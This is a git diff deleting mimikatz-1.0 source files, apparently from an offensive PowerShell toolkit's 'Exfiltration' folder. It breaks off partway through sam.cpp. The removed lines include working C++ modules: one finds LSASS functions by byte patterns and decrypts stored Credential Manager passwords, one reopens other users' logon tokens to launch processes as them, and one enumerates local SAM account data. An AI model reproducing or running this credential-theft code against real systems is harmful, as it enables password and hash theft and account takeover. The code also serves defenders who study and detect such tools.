- LSA_UNICODE_STRING LogonDomainName;
- LSA_UNICODE_STRING UserName;
- BYTE NtOwfPassword[0x10];
- BYTE LmOwfPassword[0x10];
- BOOLEAN NtPasswordPresent;
- BOOLEAN LmPasswordPresent;
- wchar_t BuffDomaine[MAX_DOMAIN_LEN];
- wchar_t BuffUserName[MAX_USERNAME_LEN];
-} MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL;
-
-void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true);
-
-NTSTATUS NlpAddPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL Credential, unsigned short CredentialSize);
-NTSTATUS NlpGetPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL *Credential, unsigned short *CredentialSize);
-NTSTATUS NlpDeletePrimaryCredential(PLUID LogonId);
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog
deleted file mode 100644
index af1843d..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.write.1.tlog
deleted file mode 100644
index 065c191..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog
deleted file mode 100644
index 662e27d..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog
deleted file mode 100644
index 46b134b..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog
deleted file mode 100644
index 46b134b..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog
deleted file mode 100644
index 8bfc485..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog
deleted file mode 100644
index a090f02..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.write.1.tlog
deleted file mode 100644
index 3c62e5a..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog
deleted file mode 100644
index a61d64e..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.read.1.tlog
deleted file mode 100644
index c2411f0..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.write.1.tlog
deleted file mode 100644
index 0c67d61..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.command.1.tlog
deleted file mode 100644
index 52d7b3d..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.command.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.read.1.tlog
deleted file mode 100644
index 465eb7a..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.read.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog
deleted file mode 100644
index 9befde9..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest
deleted file mode 100644
index ecea6f7..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest
+++ /dev/null
@@ -1,10 +0,0 @@
-
-
-
-
-
-
-
-
-
-
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate
deleted file mode 100644
index 4d28193..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate
+++ /dev/null
@@ -1,2 +0,0 @@
-#v4.0:v100
-Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\|
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res
deleted file mode 100644
index d0ba1dd..0000000
Binary files a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res and /dev/null differ
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.write.1.tlog
deleted file mode 100644
index 929c472..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.write.1.tlog
+++ /dev/null
@@ -1,5 +0,0 @@
-^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\librairies\sekurlsa\sekurlsa.vcxproj
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\sekurlsa.lib
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\sekurlsa.lib
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\sekurlsa.exp
-C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\sekurlsa.exp
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp
deleted file mode 100644
index fe846b4..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp
+++ /dev/null
@@ -1,180 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "credman.h"
-
-PCRED_I_ENUMERATE CredIEnumerate = NULL;
-
-bool searchCredmanFuncs()
-{
-#ifdef _M_X64
- BYTE PTRN_WIN5_CrediEnumerate[] = {0x48, 0x8b, 0xc4, 0x48, 0x81, 0xec, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x70, 0xe8, 0x48, 0x89, 0x78, 0xe0, 0x4c, 0x89, 0x60, 0xd8, 0x45, 0x33, 0xe4};
- LONG OFFS_WIN5_CrediEnumerate = 0;
- BYTE PTRN_WNO8_CrediEnumerate[] = {0x48, 0x81, 0xec, 0xd0, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x45, 0x33, 0xed};
- LONG OFFS_WNO8_CrediEnumerate = -22;
- BYTE PTRN_WIN8_CrediEnumerate[] = {0x48, 0x81, 0xec, 0xe0, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x45, 0x33, 0xed};
- LONG OFFS_WIN8_CrediEnumerate = -30;
-#elif defined _M_IX86
- BYTE PTRN_WIN5_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x24, 0x53, 0x33, 0xdb, 0x57, 0x33, 0xc0};
- BYTE PTRN_WN60_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x40, 0x33, 0xc9};
- BYTE PTRN_WN61_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x44, 0x33, 0xc0};
- BYTE PTRN_WN62_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x81, 0xec, 0x80, 0x00, 0x00, 0x00, 0x33, 0xc0};
- LONG OFFS_WALL_CrediEnumerate = 0;
-#endif
-
- if(!CredIEnumerate)
- {
- PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
-#ifdef _M_X64
- if(mod_system::GLOB_Version.dwMajorVersion < 6)
- {
- pattern = PTRN_WIN5_CrediEnumerate;
- taille = sizeof(PTRN_WIN5_CrediEnumerate);
- offset = OFFS_WIN5_CrediEnumerate;
- }
- else
- {
- if (mod_system::GLOB_Version.dwMinorVersion < 2)
- {
- pattern = PTRN_WNO8_CrediEnumerate;
- taille = sizeof(PTRN_WNO8_CrediEnumerate);
- offset = OFFS_WNO8_CrediEnumerate;
- }
- else
- {
- pattern = PTRN_WIN8_CrediEnumerate;
- taille = sizeof(PTRN_WIN8_CrediEnumerate);
- offset = OFFS_WIN8_CrediEnumerate;
- }
- }
-#elif defined _M_IX86
- if(mod_system::GLOB_Version.dwMajorVersion < 6)
- {
- pattern = PTRN_WIN5_CrediEnumerate;
- taille = sizeof(PTRN_WIN5_CrediEnumerate);
- }
- else
- {
- if(mod_system::GLOB_Version.dwMinorVersion < 1)
- {
- pattern = PTRN_WN60_CrediEnumerate;
- taille = sizeof(PTRN_WN60_CrediEnumerate);
- }
- else if (mod_system::GLOB_Version.dwMinorVersion < 2)
- {
- pattern = PTRN_WN61_CrediEnumerate;
- taille = sizeof(PTRN_WN61_CrediEnumerate);
- }
- else
- {
- pattern = PTRN_WN62_CrediEnumerate;
- taille = sizeof(PTRN_WN62_CrediEnumerate);
- }
- }
- offset = OFFS_WALL_CrediEnumerate;
-#endif
- mod_memory::genericPatternSearch(reinterpret_cast(&CredIEnumerate), L"lsasrv", pattern, taille, offset, NULL, true, true);
- }
- return (searchLSAFuncs() && CredIEnumerate);
-}
-
-__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector * mesArguments)
-{
- wostringstream monStream;
- monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchCredmanFuncs() ? L"OK :)" : L"KO :(") << endl << endl <<
- L"@CredIEnumerate = " << CredIEnumerate << endl <<
- L"@LsaUnprotectMemory = " << SeckPkgFunctionTable->LsaUnprotectMemory << endl;
- return sendTo(monPipe, monStream.str());
-}
-
-__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector * mesArguments)
-{
- vector> monProvider;
- monProvider.push_back(make_pair(getCredmanData, wstring(L"credman")));
- return getLogonData(monPipe, mesArguments, &monProvider);
-}
-
-bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity)
-{
- wostringstream message;
- if(searchCredmanFuncs())
- {
- DWORD credNb = 0;
- PCREDENTIAL * pCredential = NULL;
- DWORD CredIEnumerateFlags = (mod_system::GLOB_Version.dwMajorVersion < 6) ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS;
- NTSTATUS status = (mod_system::GLOB_Version.dwBuildNumber < 8000 ) ? CredIEnumerate(logId, 0, NULL, CredIEnumerateFlags, &credNb, &pCredential) : reinterpret_cast(CredIEnumerate)(logId, NULL, CredIEnumerateFlags, &credNb, &pCredential);
-
- if(NT_SUCCESS(status))
- {
- for(DWORD i = 0; i < credNb; i++)
- {
- wstring Target(pCredential[i]->TargetName);
- wstring ShortTarget = (mod_system::GLOB_Version.dwMajorVersion < 6) ? Target : Target.substr(Target.find_first_of(L'=') + 1);
-
- message << endl;
- if(justSecurity)
- message << L"\t [" << i << L"] " << Target << L'\t';
- else message <<
- L"\t * [" << i << L"] Target : " << Target << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"") << endl <<
- L"\t * [" << i << L"] Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"") << endl <<
- L"\t * [" << i << L"] User : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"") << endl;
-
- if((pCredential[i]->Type != CRED_TYPE_GENERIC) && (pCredential[i]->Type != CRED_TYPE_GENERIC_CERTIFICATE))
- {
- CREDENTIAL_TARGET_INFORMATION mesInfos = {const_cast(ShortTarget.c_str()), NULL, NULL, NULL, NULL, NULL, NULL, pCredential[i]->Flags, 0 , NULL};
- DWORD dwNbCredentials;
- PENCRYPTED_CREDENTIALW * pEncryptedCredential;
- NTSTATUS status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential);
- if(status == STATUS_INVALID_PARAMETER)
- {
- mesInfos.Flags |= CRED_TI_USERNAME_TARGET;
- status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential);
- }
- if(NT_SUCCESS(status))
- {
- for(DWORD j = 0; j < dwNbCredentials ; j++)
- {
- wostringstream prefix; prefix << L"[" << j << L"] ";
- message << descEncryptedCredential(pEncryptedCredential[j], justSecurity, prefix.str());
- }
- SeckPkgFunctionTable->CrediFreeCredentials(dwNbCredentials, pEncryptedCredential);
- }
- else message << L"Erreur CrediReadDomainCredentials : " << mod_system::getWinError(false, status);
- }
- else
- {
- PENCRYPTED_CREDENTIALW pEncryptedCredential;
- NTSTATUS status = SeckPkgFunctionTable->CrediRead(logId, CREDP_FLAGS_IN_PROCESS, const_cast(ShortTarget.c_str()), pCredential[i]->Type, 0, &pEncryptedCredential);
- if(NT_SUCCESS(status))
- {
- message << descEncryptedCredential(pEncryptedCredential, justSecurity);
- CredFree(pEncryptedCredential);
- }
- else message << L"Erreur CrediRead : " << mod_system::getWinError(false, status);
- }
- }
- CredFree(pCredential);
- }
- else message << L"CredIEnumerate KO : " << mod_system::getWinError(false, status);
- } else message << L"n.a. (credman KO)";
- return sendTo(monPipe, message.str());
-}
-
-wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix)
-{
- wostringstream monStream;
-
- LSA_UNICODE_STRING encryptedPassword = {pEncryptedCredential->Cred.CredentialBlobSize, pEncryptedCredential->Cred.CredentialBlobSize, reinterpret_cast(pEncryptedCredential->Cred.CredentialBlob)};
- wstring cred = getPasswordFromProtectedUnicodeString(&encryptedPassword);
-
- if(justSecurity)
- monStream << L"- {" << pEncryptedCredential->Cred.UserName << L" ; " << cred << L" } ";
- else monStream <<
- L"\t " << prefix << L"User : " << pEncryptedCredential->Cred.UserName << endl <<
- L"\t " << prefix << L"Cred : " << cred << endl;
-
- return monStream.str();
-}
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h
deleted file mode 100644
index 60d1249..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h
+++ /dev/null
@@ -1,19 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "../sekurlsa.h"
-
-bool searchCredmanFuncs();
-__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector * mesArguments);
-__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector * mesArguments);
-bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity);
-
-wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix = L"");
-
-typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE) (IN PLUID pLUID, IN DWORD unk0, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);
-typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE62) (IN PLUID pLUID, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);
-
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp
deleted file mode 100644
index 7284da7..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp
+++ /dev/null
@@ -1,88 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "incognito.h"
-
-bool searchIncognitoFuncs()
-{
- return searchLSAFuncs();
-}
-
-__kextdll bool __cdecl find_tokens(mod_pipe * monPipe, vector * mesArguments)
-{
- vector> monProvider;
- monProvider.push_back(make_pair(getTokenData, wstring(L"token")));
- return getLogonData(monPipe, mesArguments, &monProvider);
-}
-
-__kextdll bool __cdecl incognito(mod_pipe * monPipe, vector * mesArguments)
-{
- wostringstream monStream;
- if(searchIncognitoFuncs())
- {
- if(!mesArguments->empty() && ((mesArguments->size() == 3) || (mesArguments->size() == 4)))
- {
- wstring idSecAppHigh = L"0", idSecAppLow = mesArguments->front(), session = mesArguments->at(1), maLigne = mesArguments->back();
- if(mesArguments->size() == 4)
- {
- idSecAppHigh = idSecAppLow;
- idSecAppLow = mesArguments->at(1);
- session = mesArguments->at(2);
- }
- LUID monLUID = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow);
- DWORD maSession = _wtoi(session.c_str());
- HANDLE monToken;
- monStream << L" * OpenTokenByLogonId({" << monLUID.LowPart << L";" << monLUID.HighPart << L"}) : ";
- NTSTATUS status = SeckPkgFunctionTable->OpenTokenByLogonId(&monLUID, &monToken);
- if(NT_SUCCESS(status))
- {
- monStream << L"OK !" << endl <<
- L" * SetTokenInformation(TokenSessionId@" << maSession << L") : ";
- if(SetTokenInformation(monToken, TokenSessionId, &maSession, sizeof(DWORD)) != 0)
- {
- monStream << L"OK !" << endl <<
- L" * CreateProcessAsUser(Token@{" << monLUID.LowPart << L";" << monLUID.HighPart << L"}, TokenSessionId@" << maSession << L", \"" << maLigne << L"\") : ";
- PROCESS_INFORMATION mesInfosProcess;
- if(mod_process::start(&maLigne, &mesInfosProcess, false, false, monToken))
- {
- monStream << L"OK - pid = " << mesInfosProcess.dwProcessId << endl;
- CloseHandle(mesInfosProcess.hThread);
- CloseHandle(mesInfosProcess.hProcess);
- }
- else monStream << L"KO - " << mod_system::getWinError() << endl;
- CloseHandle(monToken);
- }
- else monStream << L"KO - " << mod_system::getWinError() << endl;
- }
- else monStream << L"KO - " << mod_system::getWinError(false, status) << endl;
- }
- else monStream << L"Format d\'appel invalide : incognito [idSecAppHigh] idSecAppLow sessionDst ligneDeCommande" << endl;
- }
- return sendTo(monPipe, monStream.str());
-}
-
-bool WINAPI getTokenData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity)
-{
- wostringstream monStream;
- if(searchIncognitoFuncs())
- {
- HANDLE monToken;
- NTSTATUS status = SeckPkgFunctionTable->OpenTokenByLogonId(logId, &monToken);
- if(NT_SUCCESS(status))
- {
- monStream << L"Disponible !";
- DWORD maSession, tailleRetournee;
- if(GetTokenInformation(monToken, TokenSessionId, &maSession, sizeof(DWORD), &tailleRetournee) != 0)
- {
- monStream << L" - session d\'origine " << maSession;
- CloseHandle(monToken);
- }
- else monStream << L"Indisponible - SetTokenInformation KO : " << mod_system::getWinError() << endl;
- }
- else monStream << L"OpenTokenByLogonId KO : " << mod_system::getWinError(false, status) << endl;
- }
- return sendTo(monPipe, monStream.str());
-}
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h
deleted file mode 100644
index a8eae58..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h
+++ /dev/null
@@ -1,13 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#pragma once
-#include "../sekurlsa.h"
-
-bool searchIncognitoFuncs();
-__kextdll bool __cdecl find_tokens(mod_pipe * monPipe, vector * mesArguments);
-__kextdll bool __cdecl incognito(mod_pipe * monPipe, vector * mesArguments);
-bool WINAPI getTokenData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity);
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp
deleted file mode 100644
index 5555b58..0000000
--- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp
+++ /dev/null
@@ -1,479 +0,0 @@
-/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
- benjamin@gentilkiwi.com
- Licence : http://creativecommons.org/licenses/by/3.0/fr/
- Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
-*/
-#include "sam.h"
-
-PSAM_I_CONNECT SamIConnect = reinterpret_cast(NULL);
-PSAM_R_OPEN_DOMAIN SamrOpenDomain = reinterpret_cast(NULL);
-PSAM_R_OPEN_USER SamrOpenUser = reinterpret_cast(NULL);
-PSAM_R_ENUMERATE_USERS_IN_DOMAIN SamrEnumerateUsersInDomain = reinterpret_cast(NULL);
-PSAM_R_QUERY_INFORMATION_USER SamrQueryInformationUser = reinterpret_cast(NULL);
-PSAM_I_FREE_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFER = reinterpret_cast(NULL);
-PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER SamIFree_SAMPR_ENUMERATION_BUFFER = reinterpret_cast(NULL);
-PSAM_R_CLOSE_HANDLE SamrCloseHandle = reinterpret_cast(NULL);
-PSAM_I_GET_PRIVATE_DATA SamIGetPrivateData = reinterpret_cast(NULL);
-PSYSTEM_FUNCTION_025 SystemFunction025 = reinterpret_cast(NULL);
-PSYSTEM_FUNCTION_027 SystemFunction027 = reinterpret_cast(NULL);
-
-bool searchSAMFuncs()
-{
- if(!(SamIConnect &&
- SamrOpenDomain &&
- SamrOpenUser &&
- SamrEnumerateUsersInDomain &&
- SamrQueryInformationUser &&
- SamIFree_SAMPR_USER_INFO_BUFFER &&
- SamIFree_SAMPR_ENUMERATION_BUFFER &&
- SamrCloseHandle &&
- SamIGetPrivateData &&
- SystemFunction025 &&
- SystemFunction027))
- {
- HMODULE hSamsrv = GetModuleHandle(L"samsrv");
- HMODULE hAdvapi32 = GetModuleHandle(L"advapi32");
-
- if(hSamsrv && hAdvapi32)
- {
- SamIConnect = reinterpret_cast(GetProcAddress(hSamsrv, "SamIConnect"));
- SamrOpenDomain = reinterpret_cast(GetProcAddress(hSamsrv, "SamrOpenDomain"));
- SamrOpenUser = reinterpret_cast(GetProcAddress(hSamsrv, "SamrOpenUser"));
- SamrEnumerateUsersInDomain = reinterpret_cast(GetProcAddress(hSamsrv, "SamrEnumerateUsersInDomain"));
- SamrQueryInformationUser = reinterpret_cast(GetProcAddress(hSamsrv, "SamrQueryInformationUser"));
- SamIFree_SAMPR_USER_INFO_BUFFER = reinterpret_cast(GetProcAddress(hSamsrv, "SamIFree_SAMPR_USER_INFO_BUFFER"));
- SamIFree_SAMPR_ENUMERATION_BUFFER = reinterpret_cast(GetProcAddress(hSamsrv, "SamIFree_SAMPR_ENUMERATION_BUFFER"));
- SamrCloseHandle = reinterpret_cast(GetProcAddress(hSamsrv, "SamrCloseHandle"));
- SamIGetPrivateData = reinterpret_cast(GetProcAddress(hSamsrv, "SamIGetPrivateData"));
- SystemFunction025 = reinterpret_cast(GetProcAddress(hAdvapi32, "SystemFunction025"));
- SystemFunction027 = reinterpret_cast(GetProcAddress(hAdvapi32, "SystemFunction027"));
- }
- return (SamIConnect &&
- SamrOpenDomain &&
- SamrOpenUser &&
- SamrEnumerateUsersInDomain &&
- SamrQueryInformationUser &&
- SamIFree_SAMPR_USER_INFO_BUFFER &&
- SamIFree_SAMPR_ENUMERATION_BUFFER &&
- SamrCloseHandle);
- }
- else return true;
-}
-
-__kextdll bool __cdecl getSAMFunctions(mod_pipe * monPipe, vector * mesArguments)
-{
- wostringstream monStream;
- monStream << L"** samsrv.dll/advapi32.dll ** ; Statut recherche : " << (searchSAMFuncs() ? L"OK :)" : L"KO :(") << endl << endl <<
- L"@SamIConnect = " << SamIConnect << endl <<
- L"@SamrOpenDomain = " << SamrOpenDomain << endl <<
- L"@SamrOpenUser = " << SamrOpenUser << endl <<
- L"@SamrEnumerateUsersInDomain = " << SamrEnumerateUsersInDomain << endl <<
- L"@SamrQueryInformationUser = " << SamrQueryInformationUser << endl <<
- L"@SamIFree_SAMPR_USER_INFO_BUFFER = " << SamIFree_SAMPR_USER_INFO_BUFFER << endl <<
- L"@SamIFree_SAMPR_ENUMERATION_BUFFER = " << SamIFree_SAMPR_ENUMERATION_BUFFER << endl <<
- L"@SamrCloseHandle = " << SamrCloseHandle << endl <<
- L"@SamIGetPrivateData = " << SamIGetPrivateData << endl <<
- L"@SystemFunction025 = " << SystemFunction025 << endl <<
- L"@SystemFunction027 = " << SystemFunction027 << endl;
- return sendTo(monPipe, monStream.str());
-}
-
-__kextdll bool __cdecl getLocalAccounts(mod_pipe * monPipe, vector * mesArguments)
-{
- if(searchSAMFuncs())
- {
- bool sendOk = true, history = true, isCSV = false;
- USER_INFORMATION_CLASS monType = UserInternal1Information;
-
- if(!mesArguments->empty())
- {
- isCSV = ((_wcsicmp(mesArguments->front().c_str(), L"/csv") == 0) || _wcsicmp(mesArguments->back().c_str(), L"/csv") == 0);
- monType = (((_wcsicmp(mesArguments->front().c_str(), L"/full") == 0) || _wcsicmp(mesArguments->back().c_str(), L"/full") == 0) ? UserAllInformation : UserInternal1Information);
- }
-
- LSA_HANDLE handlePolicy = NULL;
- HSAM handleSam = NULL;
- HDOMAIN handleDomain = NULL;
- HUSER handleUser = NULL;
-
- LSA_OBJECT_ATTRIBUTES objectAttributes;
- memset(&objectAttributes, NULL, sizeof(objectAttributes));
- PPOLICY_ACCOUNT_DOMAIN_INFO ptrPolicyDomainInfo;
-
- NTSTATUS retourEnum = 0;
- PSAMPR_ENUMERATION_BUFFER ptrStructEnumUser = NULL;
- DWORD EnumerationContext = 0;
- DWORD EnumerationSize = 0;
-
- PSAMPR_USER_INFO_BUFFER ptrMesInfosUsers = NULL;
-
- if(NT_SUCCESS(LsaOpenPolicy(NULL, &objectAttributes, POLICY_ALL_ACCESS, &handlePolicy)))
- {
- if(NT_SUCCESS(LsaQueryInformationPolicy(handlePolicy, PolicyAccountDomainInformation, reinterpret_cast(&ptrPolicyDomainInfo))))
- {
- if(NT_SUCCESS(SamIConnect(NULL, &handleSam, 1, SAM_SERVER_CONNECT)))
- {
- if(NT_SUCCESS(SamrOpenDomain(handleSam, DOMAIN_ALL_ACCESS, ptrPolicyDomainInfo->DomainSid, &handleDomain)))
- {
- wstring domainName = mod_text::stringOfSTRING(ptrPolicyDomainInfo->DomainName);
- do
- {
- retourEnum = SamrEnumerateUsersInDomain(handleDomain, &EnumerationContext, NULL, &ptrStructEnumUser, 1000, &EnumerationSize);
- if(NT_SUCCESS(retourEnum) || retourEnum == STATUS_MORE_ENTRIES)
- {
